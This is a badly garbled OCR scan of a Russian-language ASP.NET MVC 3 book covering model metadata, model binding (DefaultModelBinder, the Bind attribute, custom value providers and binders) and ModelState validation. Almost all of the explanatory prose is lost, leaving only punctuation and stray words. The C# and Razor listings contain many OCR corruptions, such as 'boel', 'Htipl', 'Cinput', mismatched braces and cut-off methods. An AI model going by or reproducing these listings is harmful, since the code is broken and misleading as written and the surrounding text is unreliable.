SHtml.EditorFor( => m.HomeAddress.PostalCode)
fltmlFieldPrefix, , HomeAddress.
PostalCode.
HTML-
id name. , HtmlFieldPrefix,
, Templatelnfo
GetFullHtmlFieldld GetFullHtmlFieldName
- .
HTML , 17.
,
.
AdditionalMetadata, 16.24.
16.24. A d d i t i o n a lM e t a d a t a
[AdditionalMetadata("RenderList", "true")]
public bool IsApproved ( get; set; )
AdditionalMetadata IsApproved;
/, ,
. R en d erL ist,
, bool
(RenderList true)
(RenderList false).
ViewData, Boolean.cshtml,
16.25.
16 . 4039
482
1 6 .2 5 . A d d i t i o n a l M e t a d a t a
Smodel bool?
@{
bool r e n d e rList = true;
if (ViewData.ModelMetadata.AdditionalValues.ContainsKey("RenderList")) {
renderList =
bool.Parse(ViewData.ModelMetadata.AdditionalValues["RenderList"].ToString());
}
@if (renderList)
Se l e c t L i s t list = V i e w D a t a . M o d e l M e t a d a t a .IsNul l a b l e V a l u e T y p e ?
n e w S e l e c t L i s t ( n e w [] ("True", "False", "Not Set"), Model) :
n e w S e l e c t L i s t ( n e w [] {"True", "False"}, Model);
0 H t m l .D r o p D o w n L i s t F o r (m => m, list)
) else {
0Htipl.T e x t B o x F o r (m => m)
/ V i e w D a t a .
M o d e l M e t a d a t a . A d d i t i o n a l V a l u e s ( ).
, .
,
, .
, , DataAnnotations
M o d e l M e t a d a t a P r o v i d e r ,
, .
M o d e l M e t a d a t a ,
, ,
. D a t a A n n o t a t i o n s M o d e l M e t a d a t a
ModelMetadata,
. . 16.6
ModelMetadata.
16.6. M o d e lM e ta d a ta
DataTypeName
;
D a t a T y p e
DisplayFormatString
, {0:2).
Displa y F o r m a t (
DataFormatting) ,
. , DataType.Currency,
DataType, ,
16.
483
. 16.6
DisplayName
,
;
Display DisplayName
EditFormatString
DisplayFormatString,
HideSurroundingHtml
true, H TM L- ;
true Hiddenlnput
DisplayValue, false
Model
NullDisplayText
, ,
null
ShowForDisplay
true,
(
).
ScaffoldColumn
ShowForEdit
true,
(
).
ScaffoldColumn
TemplateHint
,
.
UIHint
DataAnnotationsModelMetadataProvider
. 16.6 , .
, ( )
System.ComponentModel.DataAnnotations.
,
.
ModelMetadataProvider,
16.26.
16.26. M o d e lM e t a d a ta P r o v id e r
namespace System.Web.Mvc {
using System.Collections.Generic;
public abstract class ModelMetadataProvider {
public abstract IEnumerable<ModelMetadata> GetMetadataForProperties(
object container. Type containerType);
public abstract ModelMetadata GetMetadataForProperty(
Func<object> modelAccessor, Type containerType, string propertyName);
public abstract ModelMetadata GetMetadataForType (
Func<object> modelAccessor, Type modelType);
484
.
AssociatedMetadataProvider,
. 16.27
, .
16.27.
public class CustomModelMetadataProvider : AssociatedMetadataProvider{
protected override ModelMetadata CreateMetadata(
IEnumerable<Attribute> attributes,
Type containerType,
Func<object> modelAccessor,
Type modelType,
string propertyName) {
. . . ...
}
}
16.7. CreateMetadata
a ttrib u tes
c o n ta in erT y p e
modelAccessor
Func,
modelType
propertyName
, .
16.28 ,
.
16.28.
public class CustomModelMetadataProvider : AssociatedMetadataProvider!
protected override ModelMetadata CreateMetadata(
IEnumerable<Attribute> attributes,
Type containerType,
Func<object> modelAccessor,
Type modelType,
string propertyName) {
ModelMetadata metadata = new ModelMetadata(this, containerType,
modelAccessor, modelType, propertyName);
if (propertyName != null && propertyName.EndsWith("Name")) {
16.
485
return metadata;
}
}
ModelMetadata,
CreateM etadata; ModelMetadata
.
,
. 16.6. ,
Name, , FirstNam e
F ir s t, .
A p p l i c a t i o n _ S t a r t
G lobal.asax, 16.29.
16.29.
p ro te c te d v o id A p p lic a tio n _ S ta r t () (
A r e a R e g is t r a t io n .R e g is te r A llA r e a s ( ) ;
ModelMetadataProviders.Current = new CustomModelMetadataProvider();
R e g is t e r G lo b a lF ilt e r s (G lo b a lF ilt e r s . F i l t e r s ) ;
R e g is te rR o u te s (R o u te T a b le . R o u te s );
}
M o d elM e ta d a ta P ro vid e rs.C u rre n t
. MVC Framework
,
. . 16.16,
H tm l.E ditorForM odel Person.
16 . 16 .
. . 16.16
, HTML- ,
; , P e rs o n ld
, B irth D a te . ;
486
- . ,
Role .
,
D a t a A n n o t a t i o n s M o d e l M e t a d a t a P r o v i d e r .
A s s o c i a t e d M e t a d a t a P r o v i d e r ,
C r e a t e M e t a d a t a , 16.30.
16.30.
A s s o c ia t e d M e t a d a t a P r o v id e r
p u b lic c l a s s Custom M odelM etadataProvider : D a t a A n n o t a t i o n s M o d e l M e t a d a t a P r o v i d e r {
p r o t e c t e d o v e r r id e M odelM etadata C r e a t e M e t a d a ta (
IE n u m e r a b le < A t tr ib u te > a t t r i b u t e s ,
Type c o n t a in e r T y p e ,
F u n c< o b je ct> m o d e lA c c e s s o r,
Type m od elType,
s t r i n g propertyN am e) {
ModelMetadata metadata = base.CreateMetadata(attributes, containerType,
modelAccessor, modelType, propertyName);
i f (propertyN am e != n u l l && p ro p e rtyN a m e. E n d s W ith ( "Name")) (
m e ta d a ta . D isplayN am e = prop ertyN am e. S u b s t r i n g (0, p ro p e rtyN a m e .Le n g th - 4 ) ;
}
r e t u r n m e ta d a ta ;
C r e a t e M e t a d a t a M o d e l M e t a d a t a ,
. ,
, D a t a A n n o t a t i o n s M o d e l M e t a d a t a
P r o v i d e r
. . 16.17 Person.
. 1 6 .1 7 .
,
.
, ,
.
17
(model binding) .NET
, HTTP-.
, ,
.
, ,
. .
, , 17.1.
17.1.
using System;
using System.Web.Mvc;
using MvcApp.Models;
namespace M v c A p p .Controllers {
public class HomeController : Controller {
public ViewResult P e r s o n (int id) {
// .
Person myPerson = null; II.. . . . .
return View(myPerson);
}
}
}
H o m e C o n tro lle r, ,
, Visual Studio, .
, :
routes.MapRoute(
"Default",
//
" {controller}/{action}/{id)", // URL
new { controller = "Home", action = "Index", id = UrlParameter.Optional
})!
U R L /Home/Person/23 M V C Framework
,
.
488
(action invoker) , .
ControllerActionlnvoker (
15) (model binder),
IModelBinder, 17.2.
1 7 .2 . I M o d e l B i n d e r
namespace System.Web.Mvc {
public interface IModelBinder {
object BindModel(ControllerContext ControllerContext,
ModelBindingContext bindingContext);
}
MVC ,
.
, ,
,. .
17.1 ,
int, ,
int, BindModel. ,
int. .
,
( ), MVC Framework
.
ModelBindingContext, IModelBinder.BindModel (
ControllerContext, BindModel,
12).
,
DefaultModelBinder. ^
,
.
,
, ,
. 17.1.
17.1. D e f a u l t M o d e l B i n d e r
Request.Form
, HTML- form
RouteData.Values
Request.QueryString
Request.Files
, (
)
17.
489
. ,
17.1 D e f a u l t M o d e l B i n d e r ,
id.
:
1. Request.Form["id"]
2. RouteData.Values ["id"]
3. Request.QueryString["id"]
4. Request.Files["id"]
. JSON .
JSON 19.
, .
,
id ( 2 ),
.
! , :
DefaultModelBinder ,
.
, DefaultModelBinder
, ,
System.ComponentModel.TypeDescriptor.
, ,
int, apple, DefaultModelBinder
.
, .
, null, :
public ViewResult RegisterPerson(int? id) {
id null,
.
, ,
:
public ViewResult RegisterPerson(int id = 23) {
,
D e f a u l t M o d e l B i n d e r . , URL
( ), ,
, , , .
D ateTime. , ,
, --.
, . , ,
, --,
--, - - .
490
, .
, , , URL,
. , ,
. ,
, MVC
.
( ,
, TypeConverter),
DefaultModelBinder
. 17.3
Person, .
.
17.3.
publ i c class Person {
[Hiddenlnput(DisplayValue=false)]
public int Personld { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
[DataType(DataType.Date)]
public DateTime BirthDate { get; set; }
public Address HomeAddress { get; set; }
public bool IsApproved { get; set; }
public Role Role ( get; set; }
)
,
. , ,
, . FirstName
FirstName.
, :
. . .
, HomeAddress Person Address,
17.4.
17.4.
public class Address {
public string Linel { get; set; }
public string Line2 { get; set; }
public string City { get; set; }
public string PostalCode { get; set; }
public string Country { get; set; }
}
Linel
HomeAddress.Linel ,
.
17.
491
HTML-
HTML-,
, ,
16. @Html.EditorFor ( => m.FirstName)
Person HTML-:
<input class="text-box single-line" id="FirstName"
name="FirstName" type="text" value="Joe" />
SHtml.EditorFor(m
:
=>
m.HomeAddress.Linel),
,
.
, HTML-, ,
. ,
17.5.
17.5.
@using MvcApp.Models;
Smodel MvcApp.Models.Person
@{
Person myPerson = new Person () {
FirstName = "Jane", LastName = "Doe"
};
}
@using (Html.Begin F o r m ()) {
@Html.EditorFor(m => myPerson)
6Html.EditorForModel()
<input type="submit" value="Submit" />
)
EditorFor
HTML- Person,
, ViewBag. ( ),
Person.
EditorForModel, HTML-
Person.
nam e HTML.
.
492
II. ASP.NET 3
, .. myPerson. ,
H T M L -, FirstName:
p u b l i c A c t i o n R e s u l t I n d e x ( P e r s o n firstPerson, P e r s o n myPerson) {
,
,
, .. m y P e r s o n . F i r s t N a m e , m y P e r s o n . L a s t N a m e ..
, Bind (. 17.6).
17 .6. Bin d
p u b lic
A c tio n R e su lt
R e g is t e r (Person
f irs tP e rs o n ,
[Bind(Prefix="myPerson") ] P e r s o n secondPerson)
P r e f i x myPerson. ,
m y P e r s o n
, secondPerson.
, I s A p p r o v e d P e r s o n
. H T M L -
, 16.
U R L ? I s A d m i n = t r u e ,
.
, B i n d
.
I n c l u d e , 17.7.
17.7. B in d
public Act i o n R e s u l t R e g i s t e r ( [Bind(Include="FirstName, LastName")] Person person)
{
,
FirstName LastName; Person .
,
(. 17.8).
17.8. B in d
p u b l i c A c t i o n R e s u l t R e g i s t e r ( [Bind(Exclude="IsApproved, Role")] P e r s o n person)
17.
493
Person IsApproved Role.
Bind
.
. Bind ,
17.9.
17.9. B in d
[Bind(Exclude="IsApproved")]
public class Person {
[Hiddenlnput(DisplayValue=faise)]
public int Personld { get; set; !
public string FirstName { get; set; }
public string LastName { get; set; }
[DataType(DataType.Date)]
public DateTime BirthDate { get; set; }
public Address HomeAddress { get; set; }
public boel IsApproved { get; set; }
public Role Role ( get; set; )
)
,
, ,
Person.
. Bind ,
,
. , , ,
.
,
,
. , , ,
17.10.
17.10. , HTML-
@{
ViewBag.Title = "Moviea";
)
494
Html.TextBox
; name movies:
Cinput id="movies" name="movies" type="text" value="" />
cinput id="movies" name="movies" type="text" value="" />
cinput id="movies" name="movies" type="text" value="" />
, , ,
17.11.
17.11.
[HttpPost]
public ViewResult M o v i e s (List<string> movies)
, ,
Movies L i s t c s t r i n g x
, ,
s t r i n g [] IL is t < s t r in g > .
,
, HTML-
. 17.12 ,
Person.
17.12. HTML-
@model ListcMvcApp.Mode l s .Person>
@for (int i = 0; i Model.Count; i++) {
Ch4>Person Number: @ic/h4>
0:Fi r s t Name:
0 H t m l .E d i t o r F o r ( m = > m[i] . F i r s t N a m e )
HTML-,
:
Ch4>Person Number: 0c/h4>First Name: Cinput class="text-box single-line"
name=" [0].FirstName" type="text" value="Joe" />Last Name:
Cinput class="text-box single-line" name=" [0].LastName"
type="text" value="Smith" />
Ch4>Person Number: lc/h4>First Name: Cinput class="text-box single-line"
name="[1].FirstName" type="text" value="Jane" />Last Name:
Cinput class="text-box single-line" name=" [1].LastName"
type="text" value="Doe" />
,
- , 17.13.
17.
495
1 7 .1 3 .
[H ttp P o st]
public ViewResult Register ( L i s t < P e r s o n > p e o ple)
,
P e rso n , .
, H T M L-
; ,
17.14.
17.14. HTML-,
c h 4 > F ir s t P e rso n c/h 4 >
F i r s t Name: S H tm l. T e x t B o x ( " [ 0 ] . F irs t N a m e " )
L a s t Name: S H tm l. T ex tB o x ( "[ 0] . LastN am e")
<h4>Second Person< /h4>
F i r s t Name: @Html. T e x t B o x ( " [ 1 ] . F irs t N a m e " )
L a s t Name: @Html. T e x t B o x ( " [ 1 ] . LastN am e")
,
.
.
, J a v a S c r ip t-
,
.
in d e x , ,
17.15.
17.15.
< h 4 > F ir s t Person< /h4>
<input type="hidden" name="index" value="firstPerson"/>
i n p u t
in d e x .
.
,
.
17.16 .
496
17.16.
<h4>First Person</h4>
Cinput typ e="h id d en " name=" [0].key" v a lu e = " firstPerson"/>
F ir s t Name: 0Html. TextBox (" [0] .value . FirstName" )
Last Name: @Html. T extB ox( " [ 0 ] .v a lu e .LastName")
<h4>Second Person</h4>
<input typ e="h id d en " name=" [1].key" value="secondPerson"/>
F ir s t Name: @Html. TextBox (" [1] .value. FirstName" )
Last Name: SHtml. TextBox (" [1] .value .LastName" )
Dictionary<strinq, Person> IDictionary<strinq, Person>
,
,
. , ,
.
17.17 ,
.
1 7 .1 7 .
[H ttpPost]
p u b lic A c tio n R e s u lt R egisterM em ber()
UpdateM odel
,
.
(DI) . ,
( 10),
DI Person, 17.18.
17.18.
[H ttp P o st]
p u b lic A c tio n R es u lt R egisterM em ber()
17.
497
, DI
; .
.
: , , .
17.19 ,
.
17.19.
[H ttp P ost]
return View(myPerson);
}
UpdateModel IV a lu eP rovid er,
. . 17.2,
IValueProvider.
17.2. I V a lu e P r o v id e r
IValueProvider
Request.Form
Form ValueProvider
RouteData .Values
RouteD ataValueProvider
R e q u e s t.F ile s
. 17.2
ControllerContext, Controller
(. 17.19).
.
,
FormValueProvider (. 17.20).
17.20.
^HttpPost]
FormCollection IValueProvider,
,
, UpdateModel.
498
. UpdateModel
, .
,
,
.
.
In v a lid O p e r a tio n E x c e p tio n .
M o d elS tate, 18.
U pdateM odel
M o d e lS ta te ,
17.21.
17.21. ,
[H ttp P o s t]
p u b lic
A c tio n R e s u lt
R e g is te r M e m b e r (F o r m C o lle c tio n
fo rm D a ta )
P e rs o n m y P e rs o n =
(P e r s o n )D e p e n d e n c y R e s o lv e r . C u r r e n t . G e t S e r v i c e ( t y p e o f ( P e r s o n ) ) ;
try {
U p d a te M o d e l(m y P e r s o n ,
fo rm D a ta );
}
re tu rn
V ie w (m y P e r s o n );
)
TryUpdateM odel,
tru e, , f a l s e
(. 17.22).
17.22. T r y U p d a t e M o d e l
[H ttp P o s t]
p u b lic
A c tio n R e s u lt
R e g is te r M e m b e r (F o r m C o lle c tio n
fo rm D a ta )
II..
} else {
/ / . . . M o d e lS ta te
)
)
M o d e lS ta te .Is V a lid .
M odelS tate
18.
17.
499
,
HttpPostedFileBase.
, . ,
, 17.23.
17.23.
[HttpPost]
public ActionResult U p l o a d ( H t t p P o s t e d F i l e B a s e file)
//
string filename = "myfileName"; II ...
fi l e .SaveAs(filename);
I I. . . .
byte[] uploadedBytes = new b y t e [file.ContentLength];
file .InputStream.Read(uploadedBytes, 0, file.ContentLength);
// 'uploadedBytes
)
HTML- ,
, 17.24.
17.24. ,
@{
)
<form action="@Url .Action ("Upload")" method="post" e nctype="mu l t i p a r t / o z m - d a t a " >
Upload a photo: Cinput type="file" name="photo" />
cinput type="submit" />
c/form>
, .
, .
.
500
.
IValueProvider, 17.25.
17.25. IV a lu e P r o v id e r
namespace System.W e b .Mvc (
using System;
public interface IValueProvider {
bool ContainsPrefix(string prefix);
ValueProviderResult GetValue(string key);
>
}_______________________________________________________________
C o n t a i n s P r e f i x ,
.
GetValije null,
. 17.26 ,
CurrentTime.
,
.
17.26. IV a lu e P r o v id e r
public Class CurrentTimeValueProvider :IValueProvider {
public bool ContainsPrefix(string prefix) (
return string.C o m p a r e ("CurrentTime", prefix, true) == 0;
)
public ValueProviderResult GetValue(string Key)
return ContainsPrefix(key) ?
new ValueProviderResult(DateTime.Now, null, Culturelnfo.InvariantCulture)
: null;
}
)
CurrentTime.
DateTime. Now.
null, .
ValueProviderResult.
.
, .
. , :
InvariantCulture.
,
, .
ValueProviderFactory.
CurrentTimeValueProvider 17.27.
17.
501
17.27.
public class CurrentTimeValueProviderFactory : ValueProviderFactory {
public override IValueProvider GetValueProvider(ControllerContext ControllerContext)
(
return new CurrentTimeValueProvider();
}
)
GetValueProvider ,
.
CurrentTimeValueProvider.
,
Application_Start Global.asax,
17.28.
17.28.
protected void Application_Start() (
AreaRegistration.RegisterAllAreas();
ValueProviderFactories.Factories.Insert(0,
new CurrentTimeValueProviderFactory());
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
}
ValueProviderFactories.Factories. ,
.
,
Insert ,
. ,
, ,
, Ad d
:
ValueProviderFactories.Factories.Add(new CurrentTimeValueProviUsrFSCtOry());
,
DateTime CurrentTime,
17.29.
17.29. ,
public ActionResult Clock(DateTime CurrentTime) (
return Content("The time is " + CurrentTime.ToLongTimeString());
}
, ,
.
502
II. ASP.NET 3
,
,
,
, ,
DefaultModelBinder CreateModel,
17.30.
17.30. ,
using System;
using System.Web.Mvc;
namespace M v c A p p .Infrastructure {
public class DIModelBinder : DefaultModelBinder {
protected override object CreateModel(ControllerContext ControllerContext,
ModelBindingContext bindingContext, Type modelType) {
return DependencyResolver.Current.GetService(modelType) ??
b a s e .CreateModel(ControllerContext, bindingContext, modelType);
)
}
(
System. Activator
).
. Ninject 10.
, Appliction_Start Global.asax
(. 17.31).
17.31.
protected void Application_Start() {
AreaRegistration.RegisterAllAreas ();
ModelBinders.Bind e r s .DefaultBinder = new DIModelBinder();
RegisterGlobalFilters(GlobalFilters.Filters) ;
RegisterRoutes(RouteTable.Routes);
I
,
.
,
. 17.32
.
17.
503
17.32.
public class PersonModelBinder : IModelBinder {
public object BindModel(ControllerContext ControllerContext,
ModelBindingContext bindingContext) {
// , , , .
Person model = (Person)bindingContext.Model ??
(Person)DependencyResolver.Current.GetService(typeof(Person));
// , ,
bool hasPrefix = bindingContext.ValueProvider
ContainsPrefix(bindingContext.ModelName);
string searchPrefix = (hasPrefix) ? bindingContext.ModelName + "." :
// .
model.Personld = int.Parse(GetValue(bindingContext, searchPrefix, "Personld"));
m o d e l .FirstName = GetValue(bindingContext, searchPrefix, "FirstName");
m o d e l .LastName = GetValue(bindingContext, searchPrefix, "LastName");
m o d e l .BirthDate = DateTime.Parse(GetValue(bindingContext,
searchPrefix, "BirthDate"));
model.IsApproved = GetCheckedValue(bindingContext, searchPrefix, "IsApproved");
model.Role = (Role)Enum.Parse(typeof (Role), GetValue(bindingContext,
searchPrefix, "Role"));
return model;
)
private string GetValue (ModelBindingContext context, string prefix, string key)
{
ValueProviderResult vpr = context.ValueProvider.GetValue(prefix +
return vpr == null ? null : v p r .AttemptedValue;
k ey);
}
private bool GetCheckedValue(ModelBindingContext context, string prefix, string key)
{
}
return result;
}
)
, .
, :
Person model = (Person)bindingContext.Model ??
(Person) DependencyResolver.Current.GetService (typeof (Person) ) ,-
,
UpdateModel; Model BindingContext.
, , ,
.
,
( 10).
,
:
504
bool hasPrefix =
bindingContext.ValueProvider.ContainsPrefix(bindingContext.ModelName);
string searchPrefix = (hasPrefix) ? bindingContext.ModelName +
B i n d i n g C o n t e x t .ModelName .
, HTML , ModelName
, ,
.
BindingContext.
ValueProvider.
, ,
. , .
,
Person. :
mod e l .FirstName = GetValue(bindingContext, searchPrefix, "FirstName");
GetValue,
ValueProviderResult
AttemptedValue.
15 ,
HTML input, ,
.
, ..
. ValueProviderResult.ConvertTo,
:
result = (bool)vpr.ConvertTo(typeof(bool));
. ,
, Person.
1 8,
.
( HomeAddress
) .
A p p lic a t io n _ S t a r t G lo b a l.a sa x,
17.33.
17.33.
protected void Application_Start () {
AreaRegistration.RegisterAllAreas();
ModelBinders.Binders.Add(typeof(Person), new PersonModelBinder());
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
)
17.
5 05
IModelBinderProvider, 17.34.
17.34.
using System;
using System.Web.Mvc;
using MvcApp.ModeIs;
namespace M v c A p p .Infrastructure {
public class CustomModelBinderProvider : IModelBinderProvider {
public IModelBinder GetBinder(Type modelType) {
return modelType == typeof(Person) ? new PersonModelBinder () : null;
}
}
}
,
, ,
.
Application_Start Global.asax (. 17.35).
17.35.
protected void Application_Start () {
AreaRegistration.RegisterAllAreas();
M o d e l B i n d e r P r o v i d e r s .B i n d e r P r o v i d e r s .A d d ( n e w C u s t o m M o d e l B i n d e r P r o v i d e r ());
RegisterGlobalFilters(GlobalFilters.Filters) ;
RegisterRoutes(RouteTable.Routes) ;
M o d e lB in d e r
ModelBinder, 17.36.
17.36.
M o d e lB in d e r
[ M o d e l B i n d e r ( t y p e o f ( P e r s o n M o d e l B i n d e r ) )]
506
ModelBinder ,
.
17.36 PersonModelBinder.
IModelBinderProvider
,
MVC Framework, [ModelBinder] ,
. ,
,
, .
, ,
,
. MVC Framework
, HTML, . / ,
.
, ,
.
18
, MVC Framework
- ,
, , ,
. ,
, .
, ,
, ,
, .
. ,
,
.
.
,
, .
.
. , ,
.
, MVC Framework
. , ,
.
MVC,
.
Appointment, 18.1.
18.1.
using System;
using System.ComponentModel.OataAnnotations;
namespace M v c A p p .Models {
public class Appointment {
508
[ D a t a T y p e ( D a t a T y p e .D a t e ) ]
p u b l i c DateTime Date (get; set;}
p ub l i c bool T e r m s A c c e p t e d { get; set;
18.2 MakeBooking.cshtml,
Appointment.
18.2.
0model M v c A p p .M o d e l s .Appointment
@{
ViewBag.Title = "Make A Booking";
}
<h4>Book an Appointment</h4>
0using (fttml.BeginForm () ) {
<p >Your name: @ H t m l .E d i t o r F o r (m => m.Cl i e n t N a m e ) < / p >
<p > A p p o i n t m e n t Date: @ H t m l .E d i t o r F o r ( m => m.Date ) < / p >
)
18.3 AppointmentController,
, A p p o i n t m e n t .
18.3. A p p o i n t m e n t C o n t r o lle r
public class A p p o i n t m e n t C o n t r o l l e r : Co ntroller (
pr i vate l A p p o i n t m e n t R e p o s i t o r y repository;
public A p p o i n t m e n t C o n t r o l l e r (lAppointm e n t R e p o s i t o r y repo)
r e p o s i tory = repo;
}
p u b l i c V i e w R e s u l t M a k e B o o k i n g ()
}
[HttpPost]
pub l i c V i e w R e s u l t M a k e B o o k i n g ( A p p o i n t m e n t appt)
r e p o s i t o r y .S a v e A p p o i n t m e n t ( a p p t ) ;
re tu rn
a p p t);
}
)
. MakeBooking MakeBooking.cshtml. MakeBooking,
Appointment. Appoi n t m e n t HTML , , -
18.
509
, . (
,
.)
Completed.cshtml, .
. 18.1.
. 18.1.
,
,
Appointm ent
.
.
( / / ) .
.
.
.
,
, ,
.
. 18.4 , .
18.4.
[HttpPOSt]
p u b lic ViewResult MakeBooking(Appointment appt) {
if
(string.IsNullOrEmpty(appt.ClientName)) (
ModelState.AddModelError("ClientName", "Please enter your name");
//
}
if (ModelState.IsValidField("Date") && DateTime.Now > appt.Date) (
ModelState.AddModelError("Date", "Please enter a date in the future");
// ,
)
510
if (!a p p t .T e r m s A c c e p t e d ) {
M o d e l S t a t e . A d d M o d e l E r r o r ( " T e r m s A c c e p t e d " , "You m u s t a c c e p t t h e terms"),//
}
if ( M o d e l S t a t e .IsValid) {
r e p o s i t o r y .S a v e A p p o i n t m e n t ( a p p t ) ;
ret u r n V i e w (" C o m p l e t e d " , appt);
) else (
ret u r n V i e w ( ) ;
}
}
,
, ModelState.
.
ClientName:
if ( s t r i n g .I s N u l l O r E m p t y ( a p p t .C l i e n t N a m e ) ) (
M o d e l S t a t e . A d d M o d e l E r r o r ( " C l i e n t N a m e " , " P l ease e n t e r y o u r n a m e " ) ;
}
,
st r i n g . I s N u l l O r E m p t y . ,
M o d e l S t a t e . A d d M o d e l E r r o r ,
(ClientName), , ,
(Please e n t e r y o u r n a m e ( )).
, ,
M o d e lS ta te .Is V a lid F ie ld . Date,
,
; ,
.
Mod e l S t a t e . IsValid, , .
false, -
:
if ( M o d e l S t a t e .IsValid) (
repository.SaveAppointment(appt) ;
return View("Completed", appt);
} else (
re t u r n V i e w ();
}
,
Completed. ,
V i e w . ,
.
,
, .
,
CSS i n p u t - v a l i d a t i o n - e r r o r . *.
, -/Content/Site.css:
.input-validation-error (
border: lpx s o l i d #ff0000;
b a c k g r o u n d - c o l o r : #ffeeee;
}
18.
511
,
. . 18.2
.
. 18 .2.
, Chrome Firefox, , ,
. ,
Boolean , -/Views/
Shared/EditorTemplates/Boolean.cshtml, div.
, .
@model bool?
@if (ViewData.ModelMetadata.IsNullableValueType) {
OHtml.DropDownListFor(m => m, new SelectList(new []
("Not Set", "True", "False"}, Model))
} else (
ModelState state = ViewData.ModelState[ViewData.ModelMetadata.PropertyName];
bool value = Model ?? false;
if (state != null && state.Errors.Count > 0) {
<div class="input-validation-error" style="float:left">
@Html.Chec k B o x ("", value)
</div>
} else (
@Html.CheckBox ("", value)
}
}
div, inputvalidation-error
. 16.
CSS,
, , ,
. ,
HTML, . 18.5
MakeBooking.
512
18.5.
@model M v c A p p .Models.Appointment
@{
V ie w B a g . T i t l e
}
<h4>Book an Appointment</h4>
0using (Html.BeginForm()) (
0Html.ValidationSummary()
<p>Your name: SHtml.EditorFor(m => m.ClientName)</p>
<p>Appointment Date: SHtml.EditorFor(m => m.Date)</p>
< p > @ H t m l . E d i t o r F o r (m = > m . T e r m s A c c e p t e d )
c in p u t
ty p e= "su b m it"
va lu e= "M a k e
B o o k in g "
accept
th e
term s
/>
}
Html.ValidationSummary
, .
, HTML-
. 18.3.
. 18.3.
, M o d e l S t a t e .
HTML-
18.6.
18.6. HTML-,
V a lid a t io n S u m m a r y
<div lass="validation-summar-errors" data-valmsg-summary="true">
<ul>
<li>Please enter your name</li>
<li>Please enter a date in the future</li>
<li>You must accept the terms</li>
</ul>
</div>
18.
513
, d i v ,
v a l i d a t i o n - s u m m a r y - e r r o r s .
- / C o n t e n t / S i t e . c s s .
:
.v a lid a tio n - s u m m a r y - e r r o r s
font- w eight:
color:
bold;
# f f 0000;
. 18.1.
ValidationSum m ary,
18.1.
V a lid a tio n S u m m a ry
H t m l . V a l i d a t i o n S u m m a r y ()
H tm l. V a l i d a t i o n Su m m ar y (bool)
b o o l t r u e ,
(. ).
b o o l f a l s e ,
(
s t r i n g )
Ht m l . V a l i d a t i o n S u m m a r y ( b o o l ,
.
b o o l t r u e ,
string)
V a l i d a t i o n S u m m a r y
,
. , M o d e l S t a t e ,
, , ,
, .
, ,
.
, (Joe)
(Monday). 18.7 ,
.
18.7.
p u b l ic V ie w R esu lt M akeBooking(Appointm ent
if
appt)
{
{
"Please
enter
your n a m e ");
)
if
17 . 4039
enter a date
in the
(
future");
514
if (!appt.TermsAccepted) {
ModelState.AddModelError("TermsAccepted", "You must accept the terms");
)
if (ModelState.IsValidField("ClientName") && ModelState.IsValidField("Date")
&& a p p t .ClientName == "Joe" Sfi a p p t .D a t e .DayOfWeek == DayOfWeek.Monday) {
ModelState.AddModelError("", "Joe cannot book appointments on Mondays");
//
)
if (ModelState.IsValid) (
repository.SaveAppointment(appt);
return Vie w ("Completed", appt);
} else (
return Vie w ();
}
)
,
, ModelState.IsValidField.
ClientName Date. ,
, .
("")
ModelState.AddModelError, :
ModelState.AddModelError("", "Joe cannot book appointments on Mondays");
ValidationSummary,
bool, ,
. 18.4.
. 18.4.
. 18.4 .
- ,
. , I accept the terms & conditions
( ) .
,
.
18.
515
. ,
. 18.8 MakeBooking,
,
.
18.8. ,
@model MvcApp.Models.Appointment
0(
ViewBag.Title = "Make A Booking";
}
<h4>Book an Appointment</h4>
@using (Html.BeginForm ()) {
@Html.ValidationSummary(true)
<p>
</p>
<P >
)
Html .ValidationMessageFor
.
. 18.5.
. 18 .5. Html.ValidationMessageFor
516
, -
,
H tml.Vali dationSummary, . 18.6.
. 13.6.
, MVC Framework.
, .
. . 18.7 , ,
Appointment Date ( ) .
. 18.7.
, Date (
).
, .. D a t e T i m e
.
18.
517
. ,
, . 18.7. ,
, (. 18.8).
. 18.8. ,
D efaultModelBinder
,
. . 18.2.
18.2. D e fa u ltM o d e lB in d e r
OmModelUpdated
, ,
ModelState.
SetProperty
null ,
ModelState
The <> field is required
( <> ),
. 18.7.
, ,
The value <> is not valid for <> (
<>
<>), . 18.8
, . 18.2, ,
. 18.9 .
,
,
.
518
II. ASP.NET 3
18.9. D e f a u lt M o d e lB in d e r
u s in g
S y s te m ;
u s in g
S y s te m .C o m p o n e n tM o d e l;
u s in g
S y s te m .W e b . M vc;
u s in g M v c A p p .M o d e ls ;
nam espace M vcA pp. I n f r a s t r u c t u r e
p u b lic
c la s s
p ro te c te d
V a lid a tin g M o d e lB in d e r
o v e rrid e
v o id
: D e fa u ltM o d e lB in d e r
C o n tro lle rC o n te x t,
M o d e lB in d in g C o n te x t b in d in g C o n te x t,
P ro p e rty D e s c rip to r p ro p e rty D e s c rip to r,
/ /
s w itc h
v a lu e )
b in d in g C o n te x t,
v a lu e );
( p r o p e r t y D e s c r i p t o r . Nam e)
case
o b je c t
i f
e n te r
yo u r n a m e");
)
break;
case
"D a te ":
i f
>
( (D a te T im e )v a lu e ))
&&
e n te r
a d a te
in
th e
fu tu re ");
>
break;
case
i f
( ! ( (b o o l)v a lu e ))
b i n d i n g C o n t e x t .M o d e l S t a t e .A d d M o d e l E r r o r (" T e r m s A c c e p t e d " ,
"You m ust a c c e p t
th e
te rm s ");
}
b reak;
}
}
p r o t e c t e d o v e r r i d e v o i d O n M o delU p d a ted (C o n tro llerC o n tex t
M od elB in d in g C o n text b in d in g C o n te x t) (
//
b a s e . O n M o d e lU p d a te d (C o n tro lle rC o n te x t,
/ /
b in d in g C o n te x t);
A p p o in tm e n t m o d e l = b in d in g C o n te x t.M o d e l
/ /
i f
(m odel
ControllerContext,
!= n u l l
as A p p o in tm e n t;
&&
==
"Joe"
&&
m o d e l.D a t e .D a y O f W e e k = = D a y O fW e e k .M o n d a y )
)
I
c a n n o t book a p p o in tm e n ts
on M o n d a y s " );
&&
&&
18.
519
,
. .
S etP ro p erty . S e tP ro p e rty
.
,
. P r o p e rty D e s c rip to r.
, , v a lu e o b je c t,
M odelS tate B in din gC on text.
OnModelUpdated.
,
U
JJJi*
51
.
'. Mruntci!
rrnxnu v.uuiv. i ^.
SetProperty
OnModelUpdated.
, ,
( ).
Application_Start Global.asax:
protected void Application_Start() {
AreaRegistration.RegisterAllAreas ();
